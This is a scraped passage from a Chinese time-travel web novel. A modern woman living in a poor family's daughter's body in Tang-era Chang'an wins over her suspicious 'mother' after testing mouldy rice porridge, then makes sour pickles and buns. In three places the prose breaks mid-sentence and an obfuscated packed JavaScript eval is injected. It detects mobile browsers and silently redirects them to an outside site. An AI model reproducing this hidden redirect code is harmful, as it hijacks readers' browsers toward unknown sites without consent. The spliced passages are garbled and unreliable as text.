童白直视白氏的眼睛,“你不会真以为我离去了,她便会回来吧?”嘴角掀起一抹了然的微笑,“这段时间,你都是在默默地窥探着我的一切吧?” 她不是没有感受到,只是想着毕竟自己活在白氏女儿的躯壳中,能忍便忍了。 但今日,她却不想忍了。 这躯壳是她想要占的吗? 她在后世早已打拼出属于自己的事业,有车有房,穿到个缺衣少食的年代,她找谁说理去! 这白氏难不成还以为她是个软性子? 呵,她但凡软弱一点,早就被亲生父母和弟妹啃的只剩骨架。 只不过初来乍到,身处陌生的朝代,又寄居在原主的身躯里,她行事多了几分谨慎罢了。 见到‘她’突然爆发,白氏又退缩了。 避开‘她’的直视,视线落在对方身后的窗格上。糊窗的桑皮纸经了冬寒风裂,早已透出丝丝缝隙。 二郎也不愿阿姊将菜蔬退回去,饿了许久的孩子天生喜欢家里的食物越多越好,“阿姊,这些都收去西屋吗?” 童白没回答,固执地看向白氏。 白氏游离的眼神最终在童白的注视下又回到‘她’身上,带上几分恼羞成怒。 没想到家里一个、两个的都这么有主意。 白氏闭眼沉思一瞬,问道:“二郎,那米汤是你亲眼见到你阿姊喝下去的?”当时她病的严重,整日昏昏沉沉,女儿何时消失又因何消失,她完全不知。 之后,她问过二郎那一日的情况。二郎说阿姊一直在他视线范围内,醒来后,便有了变化。 童白也看向二郎,眼中的愕然十分明显。 没想到白氏会在此刻,当着二郎、三娘的面前说此事。 二郎仔细回忆后,老实作答:“是,那一日阿姊将家里的粟米全换成了稻谷,先是用石臼将稻米舂去外皮,再让我生火熬煮的米汤……”完全将当日的情况全部描述了一遍。 白氏的视线一直停在童白的面上,试图从她脸上找出破绽的细节。 这样的做法让童白十分不喜。 二郎才说完,她嘴角扯出一抹没有温度的笑,语气生硬:“那袋惹人猜疑的稻谷?我还收在西屋呢,阿娘若不信,现在便可取来验看……”心中泛起一股说不上来的委屈,堵得她喉咙发紧。 她费心费力想寻个生路,却换来白氏的猜忌! 她当初留下这袋霉稻谷本是想着若后续为原主找寻那害人之人时,能作为证据。 但没想到的是,白氏竟然怀疑原主是因为她害的。 行啊,那边煮出来试一试究竟有没有毒,“正好我在余家买了鸡崽,不若我去余家弄几只来?”想要试毒可以,但别想拿我试,也别想让二郎和三娘来! 此刻她满心只想护住二郎三娘,哪里还顾得上细想,这白氏再疑她,总不至于拿自己的亲骨肉试毒。 白氏垂下眼帘,没说好也没说不好,抱着四郎的手臂下意识收紧,惹得四郎不舒服的哼唧了一声,她才放松了手臂。 童白见她沉默,只当她是舍不得鸡崽,或是铁了心要自己试毒。心下更冷,索性不再问她,看向一旁的三娘,“三娘,你想不想跟着阿姊抓鸡崽回来玩儿?” 家里孩子多,天天吃肉有点难,但努一把力,吃上蛋却也不是不可以。 因而,前两日她特意去了趟对街的余家定了些鸡崽。 “鸡,好~”三娘睁着大大的眼睛拍手道,“三娘要去~” 童白牵着三娘,看向白氏。 白氏怀中的四郎这会儿早已歪着头闭眼睡着了,白氏却依然用手摩挲着四郎的额发,避开童白的眼神,低声道:“你们去,我来舂米。” 童白嘴角下撇,视线移到另一边的二郎身上,“二郎在家还是跟着我们一起去?”她不会因为二郎懂事便认为他一定要比三娘多做事,都是孩子,为何要厚此薄彼。 二郎看向白氏,白氏眼帘下垂,看不清神色。 二郎想了想,“阿姊带着三娘去吧,我在家帮阿娘。”阿爹离家前跟他说过,作为阿爹不在家后童家的小小男子汉,他需要帮着阿娘和阿姊,管好弟妹。 童白看向白氏,眼神复杂。 白氏垂着眼睑,手指无意识地绞紧了四郎襁褓的系带:“你带着三娘去吧,早去早回。” 童白走到三娘身旁,伸出手来,“三娘来,跟阿姊去余大叔家找刘婶子买小鸡。” 三娘仰起头,将小手放入阿姊手心,“好呀,三娘……” 稚嫩的童音最能抚慰人心,童白不由自主地回握紧了三娘软乎乎的小手,原本板着的脸也松动了几分。 目送着俩人的身影出了院门,白氏坐在竹椅上,让二郎帮着她将睡熟的四郎绑在后背上。 这样不会耽误干活,倒不是说舍不得放下四郎,而担心四郎醒后不小心翻下床来,平时白氏都在床上,还能看着点,但现在,不一样。 白氏起身去灶屋,“二郎,去将那霉稻 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虽然童爹是校尉,但战场上的事情说不清的。 穿到这缺衣少食的境地,童白对钱粮的执着更是刻进了骨子里。 * 离开崇延坊双梧巷的斜眼坊吏和马脸妇人一前一后行走在巷道里,一路无言,直到拐入去往坊西的那条街道时,原本脸上平静的坊吏,陡然出声问:“你故意害我?” 马脸妇人垂着头的眼中,闪过一道复杂的目光,说出来的话语却是无尽委屈:“给我十个胆子,也不敢害大人啊!”说着,她抬起脸,用楚楚可怜的眼神看向斜眼男人。 对面之人不仅眼斜,因愤怒而大张的嘴里也散发出难闻的气味,但马脸妇人却像闻不到一般,娇笑着凑上前去,拉了拉对方的衣袖,讨好道:“要不,奴去长兴坊一趟,去问问那边的情况?顺带将这次的好处拿回来?” 斜眼坊吏眼珠子提溜一转,将周边的情况以及马脸妇人脸上的神情全看在眼中。 他点头,马脸妇人得到他的首肯,腰一扭,朝斜眼坊吏抛了个眉眼,转身往身后走去。 “等等。”斜眼坊吏叫住对方,迈开腿,“本大人跟你一起!” 马脸妇人脸色一僵,很快又恢复如常,“好。” 阳光将两人的身影越拉越长,也约拉越远。 在两人身后,不远不近的坠着个身影。 此时,正是半上午的时候,阳光出来照射着大地,带来了些许的温暖,坊间行走着不少坊民,或是慢悠悠地闲逛,或是着急奔向目的地。 等到他们都远去后,双梧巷归于平静。隐在光秃梧桐树枝桠间的一抹高大身影悄无声息地滑落,步履从容地朝北坊门而去。 坊门外侧边停着一辆不显眼的青蓬小车,此人才坐进马车厢,里面便传出一道清润的声音:“走吧,回延寿坊。” 23. 霉米粥 午后,阳光正是一日中最好的时候,双梧巷余家的院子里,刘氏正在给鸡崽们准备食料。 前些年长安城乱,家里公爹和男人上工赚的银钱不够养家,她做这门生意也是为了贴补家用,从最开始的手忙脚乱到现在的游刃有余,这门生意也做到了现在。 童白在征得刘氏的许可后,伸手在食盆里抓起一把食料,撒进竹筐中,见着黄色绒毛的小鸡崽以百米冲刺的速度垂头啄食的模样,眼都弯了。 三娘也趴在竹筐边上,嘴里还发出“叽叽叽”的可爱声音。 这是在模仿小鸡崽的叫声。 童白瞧的仔细,很快发现小鸡崽吃的食料中有米粒。 长安地处大西北,百姓食用粟米和麦粉居多。稻米是江南产物,长安城就算有也只有世家权贵、富户家才能吃得起。 这余家,难道有什么身份或者门路? 她不动声色地打量余家院子一圈,视线定在了靠西边的屋檐下的簸箕上,那里面似是在晾晒米粒? 定睛一看,严格的说,应是饭粒。 因为那颜色呈现出一种不透明的瓷白,是只有煮熟后发生了淀粉反应的米粒才有的颜色。 三个大簸箕,算下来,怎么也有好几斤吧。 童白搜寻原主的记忆,却发现关于余家的片段寥寥无几。 原主性子孤僻内向,极少出门,对邻里街坊的事知之甚少,只活在自己的小天地里。 刘氏注意到童白的目光,笑问:“童小娘子是好奇我家为何有这么多的籼米?”坊间闲聊,童家原本是权贵人家的奴仆,哪怕现如今脱籍出了府,也是看不上她们这些百姓人家,不予来往的模样。 特别是那当娘的病了后,做女儿的竟然花了好些粟米去换霉稻谷,真是脑子有病。 没接触童小娘子前,她难免被坊间的说法左右,接触后,她感觉童小娘子并不像传闻说的那般。 童白点头,她的确十分好奇。 “这全是我家男人在他上工酒坊买的酿酒后的糟粕,”刘氏顿了顿,十分自得道:“别看是糟粕,但这成色好的糟粕,等闲也难买到。”这酿酒后的酒酿,酒坊主会低价卖出去,但品相如何,就不好说了。 童白明白了,刘婶子不止回答问题,更是在炫夫。这么朴实无华的小心思,她怎么可能会拒绝呢! “余大叔可真厉害!”这好听的话语就跟不要钱的一般,就那么‘突突突’地说出来,“去主家上工的人不少,主家为何就给余大叔呢,肯定是余大叔做工好,深得主家肯定。” 为了让刘婶子更有爽感,童白还不忘问一句一旁的三娘,“三娘你说,阿姊说的对不对,余大叔真的厉害啊!” 三娘正好是喜欢跟嘴说话,却又不明白话中意思的年龄。她歪着头,露出齐整的小乳牙,口齿清晰道:“阿姊说的对,余大叔真的厉害!”小脑袋还一点一点的。 别说戴上了“亲姐”滤镜的童白心里软绵绵的,就连一旁的刘氏都看着欢喜。 不由感叹,若是自家老大不被抓走,是不是早已娶妻生子,生下来的孩子也跟三娘一般可爱呢! 刘氏嫁进余家,生了五个儿子,家里公爹和男人都在酒坊做事,一家子在这崇延坊也算个能耐人! 但朝廷前些年征兵,她家前面三个儿子被朝廷抓或者被征走打仗,再也没回来,后面生的两个也长大了,新朝建立,日子也一天天有了盼头,脑子里想的东西便多了些。 “这哪能算得上厉害,四郎他爹也就是个老实人罢了,不过,”刘氏故意卖了个关子,“你们知道我家的鸡崽为何长得比别家的好?”双梧巷只有她一家卖鸡崽,但是崇延坊却不止她一家。 童白十分配合:“为何?” “那是因为我把这些晒干后,磨成粉,加到了小鸡崽吃的食料里!”刘氏指着簸箕分享心得,“这些可是好东西,人喝了米汤身体好,小鸡崽吃了稻米粉也长得快。” 童白视线又移回到晾晒在阴凉处的簸箕上,一股淡淡的、带着酒香的酸酵味随着风飘入鼻端,糟粕既是酒糟,发酵过的酒糟…… 童白脑中忽然闪过一个念头:酸腌菜的关键也是发酵? 这酒糟里天然的酵母菌,正是制作酸菜母水的绝佳引子! “信婶子的,你把小鸡崽带回去养的时候也像婶子这样喂养,就知道这个的好处了。”刘氏低着头边喂食边说,“等吃完后觉得好了,再来婶子这拿,婶子绝对给你个合适的价格。”原本她没想明说这饲料买卖之事,但想着适才听到的墙角,这童家小娘子也挎着篮子在坊间售卖吃食,必定不会是那不知变通之人,这才提出。 毕竟,这糟粕晒干磨粉养鸡的确不错,她卖的也不贵。 童白先点头再摆手摇头,“酒粕我想买一些,但鸡崽,如今天寒地冻,家中又无人懂得照料鸡崽。我只选两只回去先试着养一养,可没打算全部领回去。”真正的缘由更不能说。 刘氏眉眼舒展,当初童小娘子在她这定下鸡崽的时候,便说让她养到半大或者等到天气暖和些才带回家去,为此还说好了,多给些饲料费,今日突然上门说要带回去养,她心里还是有点不大舒服。 听到她说只挑个几只而已,这份不舒坦来得快去的也快。 “听说你家阿娘吃了济世堂许医者的药,好些了,邻里邻居的,你家阿娘不爱出来串门,我也没好意思上门探望……”刘氏这话说的,算是为童家搬来半年了,自己从未上门串门找到了合适的理由。 童白本也生出要跟双梧巷的卢婶子和刘婶子家来往的念头,顺着她的话语道:“我阿娘吃了一段时间的汤药,现在能起床活动身子了,等她再好上一些,再来找刘婶子做做针线活、话话家常。” 倒不是她独断独行,帮白氏做主,这只是个留下后续来余家的由头罢了。若白氏不愿,到时候她多来跟邻里间接触接触。 现下的社会环境混乱,不适用后世那一套邻里亲疏理论。人情关系,是在来回走动中建立起来的。 白氏,白氏的那一套并不适用于现在的童家 “童小娘子?”刘氏连唤两声,童白才猛地回神— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042883|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —方才那瞬间,白氏盯着霉稻谷的眼神又浮现在眼前。 “抱歉……” “人吃便不能用这晒干的磨成粉了,这样……”刘氏不以为意地笑笑,“你先回去,等你余大叔拿新鲜的回来了,我再送去你家,可行?” 童白点头,跟刘婶子聊了几句,便和捧着装了三只小鸡崽的竹篮的三娘回了家。 回去的时候,白氏正坐在院子里板着脸发呆。四郎裹着麻被,正在她怀中睡得香甜。二郎一点一点的往西屋搬白菜和萝卜。昨日清洗处理过的白菜和萝卜晾晒在院子的阴影处。 童白眉头轻蹙,白氏对自己这个外来的有敌意就算了,怎么对待亲生的二郎也不上心。 白氏瞧见她们,古井无波的眼睛动了动:“回来了?” 童白点头,从三娘怀中将装着小鸡崽的竹篮放在院子里的石块上,“三娘先蹲在这看着小鸡崽。”加入拌匀菜蔬的行列,视线扫过西屋里原本装着霉稻谷的陶缸,问二郎:“米都已经舂好了吗?” 她出去前,听到白氏说要舂米。 二郎停下动作,朝院子里瞧了眼,摇头道:“阿娘说等阿姊回来,让阿姊做,就跟那日一样。”那天,阿姊回到家中,没让他舂米,全是自己做的。 童白心下微哂,没料到白氏竟要求完全复刻那日情景,搬完菜蔬,她捧着陶瓮进了灶屋。 原主就像是横在白氏和自己之间的刺,不拔出来,日后万一伤口化脓或者恶化又或者出现什么难以预料的后果该如何办? 白氏抱着四郎和二郎一同随着她进了灶屋,三娘见大家都进了灶屋,也没心情继续逗小鸡崽玩,慌忙跟上。 放了这么些天的霉稻米比起记忆中的霉斑更明显、微酸酒香混着谷物腐败气,像揭开陈年酱缸。哪怕屏着息,却难免闻嗅到了丝气味,童白眼睫轻颤,这味儿,似乎…… 舂米、去米糠、淘洗、熬煮,每一步,她都做的心无旁骛。 就好像她做的不是一份毒死过人神魂的食材,而是一份普通的食物。 白氏就这么怔怔地看着,就像看自家女儿在熬煮米汤,心下一阵心疼,女儿在熬煮米汤的时候,是不是没有想到……自己会魂飞魄散? 鼻头一酸,白氏一想到魂魄不知所踪、躯壳被占去的女儿,眼框蓄满了泪水。 二郎突感到额上突然湿润,仰头一看,阿娘在无声落泪,陡然心慌,下意识看向正在灶膛边做米汤的阿姊,见她一副从容的模样,不知道为何,慌乱的心渐渐平静。 小半个时辰过去,霉米熬成了米粥,乳白色的粥里点缀着软糯的白色米花。 童白习惯地凑上前闻了闻,只有正常的谷物霉变后的微酸气,并无刺鼻的腐坏恶臭。她又仔细看了看粥的颜色,米粒虽有些发黄,但粥汤尚算清亮。 童白心下一咯噔,别的事情她不敢确定,但她可是拥有一尝就能知道大致原料步骤的金手指。 味觉和嗅觉都比常人要灵敏。 所以,她敢确认,至少这碗粥本身不是导致‘换魂’的直接原因…… 24. 原主去哪儿了? 所以…… 原主去哪儿了? 她又因何穿到原主身上呢? 虽有疑惑,童白却出了灶屋,将米粥端到院子里。 白氏抱着四郎,随着她一同去了院子,就这么不远不近地看着‘她’将粥放在竹制小几上。 擅庖厨的人熬煮出来的米粥都跟别人的不一样,米粒的颗粒感恰到好处,软而不烂,除了色泽微黄以外,也瞧不出什么异样来。 童白将米汤放下便去查看晾在阴处的菜蔬,指尖拂过菜蔬便知其脱水程度,前世积累的腌菜经验自动浮现脑海。 她翻找出上回在米麦行买的稻米,舂去稻壳,过了两遍水,将淘米水盛放在干净无油的瓦盆中。 酸腌菜的母水,后世的方子不少。白开水、淘米水、酒糟都可以,童白打算每一种都试一试。 拿出洗净晾干的陶坛,用干净的布巾将晾干的菜蔬简单擦拭一遍,放入坛子底部垒上一层,放入配置好的姜片、花椒等配料,再垒上一层菜蔬,就这样一层菜蔬一层配料,直到将陶坛放置七、八分满。 倒入淘米水,盖上坛盖,在坛沿处加入清水漫过盖沿约莫三指宽,形成天然水封。 这样,一份只需等待发酵的酸腌菜便做好了。 童白捧着坛子去了西北边的灶膛和墙壁的角落处。童家几间屋,只有灶屋偶尔会因烧火煮饭而提升室温,这里也是最适合放置酸腌菜陶坛的地方。 发酵需要环境温度的加持,酱清也同样需要,所以这个角落,地上铺设了一层木柴和稻草,虽然不防火,却是能隔绝泥土地里的湿寒。 而且人的能动性便体现在此,没有条件要创造条件。将灶膛烧起来,给灶屋升升温。 童白心态比较稳,她录制美食视频时,一次过的视频少,不也要实践好几回嘛! 失败了就继续试,反正西屋的菜蔬存货不少。 无论如何,动起来也好过怕着怕那,裹足不前! 童白想着事,没注意到她这超级简单的操作步骤,让童二郎瞪大了双眼。 阿姊心心念念的酸腌菜就这么将食材放进去? 且不论这样做出的酸腌菜会不会好吃,做法这么简单,别人是不是也很快就会学会呢? 别人学会了,自家的酸腌菜还能卖出去吗? 而且就算阿姊做的味道比别家的好,但还有因为妒忌而找来坊吏来查问的,加上阿娘觉得阿姊买多了菜蔬而闹的不愉快,二郎肩膀一垮,小脸苦兮兮地。 放好酸坛子,将灶膛烧上小火升温,童白去了院子,也不知道白氏试验的结果如何。 不过,哪知白氏直勾勾地盯着面前的米汤,没有任何动静。 童白叹了口气,并没有询问和催促。索性将竹篮里的小鸡崽都给抓了出来,原本蹲在竹篮边看小鸡崽的三娘,随着童白的动作笑出声,指着面前的空地:“阿姊,放这儿,三娘要跟叽叽玩。”隔着竹篮看的小鸡崽可没有这样看方便。 小鸡崽陡然换了个新环境,熟悉的气味消失,只孤零零的三只小鸡崽,爪子一站地,三小只就凑到一起,像是抱团取暖一般。 “嗯,你跟小鸡崽玩,”童白跟三娘说,又抓住一只小鸡,递到白氏面前,淡淡道:“汤冷了,可以试了。” 白氏瞧见那小黄绒毛的小家伙在童白手中‘唧唧唧’叫个不停,脖子不断地扭动挣扎,虽然小鸡崽毛茸茸的脸上看不出任何神情,但她就觉得它在害怕。 是不是女儿的魂魄也曾如此害怕、挣扎过? 白氏猛地抬起头,看向对面的童白,“你是不是早已知道这汤没有问题?”声音带着不易察觉的颤抖。 童白没回答,只是抬起眼,平静地迎上白氏的目光,缓缓点了点头。 “哈哈哈哈哈哈……”白氏突兀地笑了起来,笑声从低到高,又从高转低,最后化为一阵撕心裂肺的哽咽,“原来……原来真是天意弄人……非是毒害……我儿……”她仿佛瞬间被抽干了所有力气,佝偻着背,将怀中惊醒啼哭的四郎塞给童白,扶着竹椅靠背,踉跄着踱回主屋。 “砰!”房门重重关上,隔绝了内外。 压抑的、破碎的哭泣声断断续续从门缝里挤出来,像钝刀子割在院子里每个人的心上。 童白一手抱着啼哭的四郎,另一只胳膊揽着紧靠过来的二郎以及二郎搂抱着的三娘,心中五味杂陈。 她心下一软,这一瞬,她莫名共情白氏,一名母亲对亲骨肉不知所踪的那种无能为力。 不知过了多久,屋内的哭声渐渐低了下去,最终归于沉寂。 此刻的童白这会儿却无心想太多,就像被幼崽团团围住的唯一成年犬,抽噎不止的四郎,神色慌张莫名的二郎和眼眶含泪的三娘占据了她所有的心神。 寒风吹过,姐弟妹几个依靠的更近了。近到,彼此都能听到对方的心跳声。 屋内。 痛快哭了一场的白氏,正怔怔地透过窗格的桑皮纸缝隙往外看。 这会儿,‘她’哼着陌生小调轻拍四郎后背,三娘蜷在她就膝盖处熟睡,二郎站在她身旁,眼中有担忧也有崇拜…… ‘她’没来之前,家里几个孩子对他们的阿姊并没有如此亲近。 白氏胸中突然涌现出一种说不出来的背叛之情,酸苦的很! 她想指着外面几个已经将女儿忘记的另外几个孩子,她又想抓住‘她’的头发,逼问出女儿的下落,但落到实处,她什么都不能做。 甚至于,她现在都不能继续为大女儿的不知所踪而悲伤焦急。 作为母亲,她还有三个娃要照顾。 但,心里虽明白,但眼泪就像断了线的珠子一般滑落脸颊。 白氏一边用手拭去脸颊上的泪水,一边仰头往上看。 好像这样就不会继续流泪一般。 然而并没有什么用。 白氏深吸一口寒冷的空气,弓着腰摸索着爬到她往日睡觉的位置,从床侧往下掏,窸窸窣窣地,再次抬起手来时,手上多了个浅色的荷包。 她的眼泪又那么流下来,颤抖的手不禁摩挲了荷包好几下。 这是大女儿亲手做的荷包,用的跟她最喜爱的杏色襦裙同一块布料。 冰凉的布料刺得指尖生疼,心更疼! 耳边仿佛还是女儿怯生生唤“阿娘”的细软嗓音,眼前却尽是‘她’为这个家奔波劳碌、安抚弟妹的身影。 指尖猛地攥紧,布料皱成一团,如果可以,她真不愿认门外的那个‘她’! 良久,一声压抑到极致的呜咽逸出唇边,又被死死咬住。 这时,白氏听到了‘她’哄逗四郎他们的声音。 是咯,她还有二郎他们。 活着的人,终究得活下去。 又过了好一阵,房门“吱呀”一声被拉开。白氏的身影出现在门口,眼眶红肿,面色灰败,却奇异地带着一种认命般的平静。她一步一步走得很慢,走到童白面前,伸出枯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042884|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦的手,不容置疑地将一个带着体温、皱巴巴的淡色荷包按进童白手中。 童白的视线移向荷包。 布料细腻、针脚细密,上面还沾着未干的泪渍。 “拿着。”白氏的声音沙哑而疲惫,目光扫过依偎在童白身边的二郎和三娘,最终定格在童白脸上,带着孤注一掷的决绝,她的手指死死抠住荷包边缘又猛然松开,仿佛松开了执念,“酸腌菜,你想做,就去做。这是童家……最后的一点指望了。”她顿了顿,每一个字都像从牙缝里挤出来,“二郎他们信你,靠你。这担子,你挑也得挑,不挑也得挑。钱,省着点……没了,就真什么都没了。” 童白只觉得掌心的荷包滚烫无比,几乎要灼伤皮肤。她看着白氏眼中深藏的痛楚与妥协,再低头看看懵懂抽噎的四郎,以及身边两个满眼依赖的弟妹,心中那点因被防备而产生的愤懑,终究被沉甸甸的责任感压了下去。 她用力握紧了那个小小的、承载着一个家庭最后希望的荷包。 家里几个小的对她是全然的信任,但白氏却跟防贼一样防着她。 当初,在得知谢家想要买下她,而作为原主母亲的白氏有卖掉自己的权利时,童白甚至想过跟白氏鱼死网破。 好在,白氏也不是真的蠢,选择了俩人合作。 合作后,事情也因张勇军士的前来,出现了转机。 自己无需与白氏闹掰,更不用离开童家,而童家这几个孩子也不会因为家里没人撑起门户而落入更加糟糕的境地。 但原主的去向,一直是白氏的心病! 想到此,童白的手不由紧握荷包,“你真的不介意吗?”抬眼看向白氏,眼神坚定且锐利:“我受不了在努力带着家人奋斗的时候,还有人蛰伏在暗处,想要害我。” 上一世,哪怕被社会打磨成社会人,但骨子里她依然是直脾气,喜欢阳谋甚于阴谋。 白氏被‘她’的话问住了。 她介意吗? 对面之人,脸上的绒毛在阳光的照射下染上了金色的光晕,分毫毕现。嘴角的梨涡若隐若现,大大的杏眼中没有了往日盛满的孺慕之光,取而代之的是试探……和坚毅。 这一股坚毅,她并不陌生,就跟自家男人一样! 白氏想将自己曾错失的、未能拥有的,都加倍补偿给女儿。 于是按照曾经娘亲教育自己那般教育女儿。 但,事实上,那一切,并不适合在如今的社会立足。 所以在得知对方在女儿喝了霉稻谷米汤昏迷后而来,与其说她怪‘她’,不若说她怪自己,怪自己没有教导女儿在这个吃人的社会活下去的本事。 她在迁怒对方。 然而,霉米汤没有毒,而女儿换了魂。 说明,这一切都是老天安排的,并不是她们做一些什么或者不做什么而改变,她反倒是释然了。 “既然都是老天爷的安排,我哪怕想介意,也介意不过来。”白氏的眼神在童白身旁的二郎和三娘身上扫过,又落在了四郎身上。 家里四个孩子,一个已然不知去了哪儿,另外两个对‘她’十分依赖,甚至于比对他们亲大姐还多了几分亲昵,最小的那个还小,什么也不懂,等到大一些了,自然就更记不得曾经的大姐。 “只望你能对得起我们,”白氏手在虚空中一扫,“无论如何,你都是他们的阿姊,是我的女儿。” 童白眉梢一挑。 白氏,这是真想开了! 25. 她定要在那延寿坊那“卖”得个好价钱 穿来长安的每一日,童白都醒来得早。 倒不是说她或者原主原本就有早起的习惯。 她醒来,绝大多数的时间是被冷醒的。 鼻间呼出的气凝成白雾,落在嘴唇之上,让原本就有些脱皮的唇瓣,更难受了。 童白抿了抿唇,越睡越冷,起身穿衣,她打算起床活动活动,这样还暖和些。 “今日怎么这么早?”白氏的声音在黑暗中响起,只不过,声音不再嘶哑,以及话语尾音需要硬压下去的咳声。 童白都不知道白氏究竟每天有没有睡着,好像自己睡着前她是醒着的,自己醒来后,白氏还是醒着。 “太冷了,”昨日话说开后,童白现在说话也相对没那么拘谨,“阿娘一会儿是跟我一同去延寿坊还是我单独去?” 一提到延寿坊,白氏身体不由瑟缩,想着上一次并不是那么美妙的经历,她本能的抗拒:“我不去……” 童白心里暗叹一口气,白氏这性格和脾气,就像是初入社会的大学生一样,茫然又敏感。 不过,以前有童爹在,白氏有他护着,现如今…… “阿姊,我陪你去。”二郎的声音在这安静的空间里响起。 童白往床尾瞧了过去,却因为太黑了,什么也没瞧见,但也不妨碍她嘴角微扬,好心情道:“好,二郎跟阿姊一起,现在阿姊去灶屋,你是继续睡一会儿还是跟着阿姊去灶屋?” 被窝和房间两者但凡能暖和些,童白都不会大早上的拉上一名六岁的孩童起床干活。 黑心资本家估计都不会这么做,的吧? “起床。”二郎答道。 姐弟俩穿衣起床,童白将还在沉睡的三娘挪到自己的位置,这样,白氏、三娘和四郎挤在一头睡,也能更暖和一点。 “鸡,鸡,玩~”沉睡着的三娘嘴里念叨着,童白看过去,三娘眉眼紧闭,显然是在说梦话。 果真是日有所思,夜有所梦。 那几只小鸡崽,既没用来试吃米粥,童白在征得三娘同意后,又送回了刘婶子家。每一只都是她花大钱买的,现在鸡崽太小,天气又太冷,根本不适合养在家中。 灶膛里火光闪烁起来,以灶膛为中心,温暖由内到外扩散。 童白将酸腌菜坛搬来灶边,合适的温度有助于酸腌菜发酵。 要不是木柴不便宜,她恨不得夜里都烧着灶膛。当然这话也只是想一想,水火无情,也怕出现不可控的情况。 也不知道气温何时回暖? 想着上一世吃过的酸腌菜,童白咽了咽口里突然分泌的口水。 马脸妇人和斜眼坊吏上门查问之事暂时还没好的解决办法,所以童白决定暂时不去坊间叫卖蒸饼,既然惹不起,她就先躲一躲,让子弹先飞一飞再说。 至于破局之法……她打算试试抱大腿。 擦脸洗漱时,当温热的湿布巾接触到皮肤的那一刹那,童白的心情都好上了不少,突然又有了对抗一切问题的勇气。 姐弟俩洗漱完,二郎端着脏水去了院子,童白打开碗橱上挂着的铁锁,拿出昨日做好的皮冻出来。 在微弱且昏黄的油灯光下,皮冻晶莹剔透,用筷子一碰,用后世的话说:DuangDuang的,就像果冻!结合当地语言形容,便是:莹润如玉,弹软可人。 二郎被这看着好看,触碰好玩的食物勾的舔了舔唇。 这一舔,让孩子原本就干裂的唇瓣,更疼了,发出“嘶”的一声。 “你去放猪油的罐子用筷子沾点涂在唇上。”童白说,这也是没得办法的办法。 二郎懂事地摇头,他知道家里现在没钱。猪油是阿姊用来做吃食的,哪能就这么用了。 反正这嘴,疼着疼着就不疼了。 童白看他这样,心下一软,却未继续说话。 拿出猪油罐,舀了一勺猪油加入面团中,加了猪油的面团做出来的面皮会更白腻油亮些,之前没放进去是习惯了童家的贫寒,现在一想,今日做出来的包子都是送人用的,自然要做的更好一些。 趁着二郎不注意,手上沾了点猪油,迅速涂抹在他的唇上,惹得二郎一阵轻呼。 二郎舔着唇,傻呵呵地笑道:“真香!” 童白被他这小模样逗笑了,检查了下锁在碗橱里的肉馅,将裹满了胡麻油、已杀出水分的白菜和汤汁丰润的肉馅用筷子顺时针搅和在一起,做到了肉中有菜、菜中有肉。 然后,又将皮冻切成了等块大小,放在了一边。 忙完了这些事,面团也才发起来一点点。环境温度不够的时候,发酵这件事很难控制。环境温度过高时,发酵又容易发过了。 好在大众的嘴巴并不像她似的,尝一口就能尝出门道来。 看了眼还在醒发的面团,又去外面瞧了眼天色,拉起二郎,俩人背上背篓,去了坊西井水边,开始了今日份的人工运水工作。 独轮车已经还给卢婶子家,现在打水全靠人力水工,白氏的身子还没完全养好,在家照顾三娘和四郎。 这时候的巷道里,已然有不少赶着去坊门处的人,往日童白也属于其中一员,但今日,她并不着急。 上回阿娘去延寿坊,遇到不开心的事,但也没白去,得来了张勇军士这段时日执勤的时间。 听说现在张勇军士被抽调去了武侯巡逻队,专门负责坊间巡逻之事,若是能得到他的帮助,这挎篮售卖之事也不是不能进行。 人情社会,自然是人情为上,张勇军士目前是童家能接触到的延寿坊的人脉。 不管这次他能不能帮上忙,这条人脉都需维护。 若是他不愿帮忙,那么自己则是要找新的赚钱途径了。 三月三的上巳节去寺庙外兜售,也是个出路。 只不过,离三月三还有十余日,家里的米粮,撑不到那个时候。 唉! 脑子里想着事,童白跟对面的人撞上了,一屁|股坐在了地上。 屁|股下的冷硬触感传来时,顾不上起身,童白庆幸地想:好在这会儿是去程,没有背水,要不然水洒出来,可就可惜了。 二郎边扶阿姊,边如同小兽怒吼地朝对面道:“你如何走的路,都把人撞摔到地上了。” 童白原本觉得自己走神也有部分责任,并不打算怪罪对方。 没成想,二郎倒是先声制人。 “对不住,巷道拐弯处,天色又不甚明亮,这才……”对面之人先是解释了一番,“若是有撞伤的,我……”来人匆匆瞧了童白这边一眼,“我愿意承担……” 言语间并不像是个不讲道理的,听声音是个正处于变声期的少年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042885|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟那青春期变声的鸭公嗓,容易辨别。 